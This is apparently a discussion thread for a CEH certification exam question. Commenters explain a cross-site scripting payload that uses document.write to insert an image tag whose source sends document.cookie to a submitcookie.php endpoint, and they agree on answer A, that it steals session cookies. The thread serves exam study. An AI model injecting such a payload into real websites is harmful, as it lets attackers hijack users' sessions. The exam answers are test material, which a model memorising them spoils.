Exam 312-50v12 topic 1 question 76 discussion

document.write: This JavaScript function writes a string of text to the document as HTML. <img src="..."/>: This HTML tag defines an image element. The src attribute normally points to the URL of the image to display. "https://localhost/submitcookie.php?cookie=": This part of the src attribute is setting the path to a PHP file on the server running on localhost. The query string ?cookie= is used to pass data to the PHP file via a GET request. + escape(document.cookie): This JavaScript code appends the current document's cookies to the URL as part of the query string. The escape function is used to encode the cookies so that special characters are converted to a URL-encoded notation. This is necessary because cookies can contain characters that are not valid in URLs.

A. This php file silently executes the code and grabs the user’s session cookie and session ID. This script is used to steal cookies. It writes an image element into the HTML document, but the “src” attribute of the image is set to a malicious URL that includes the victim's cookies as part of the URL. When this URL is requested to load the image, it sends cookies to a server controlled by an attacker.

A. This php file silently executes the code and grabs the user’s session cookie and session ID.

A. This PHP file silently executes the code and grabs the user’s session cookie and session ID. Explanation: The code embedded behind the strange images posted by the user on the forum is a PHP file that runs in the background and steals the user's session cookies and session ID. The PHP script silently executes in the background, and the user may not be aware that their session has been compromised.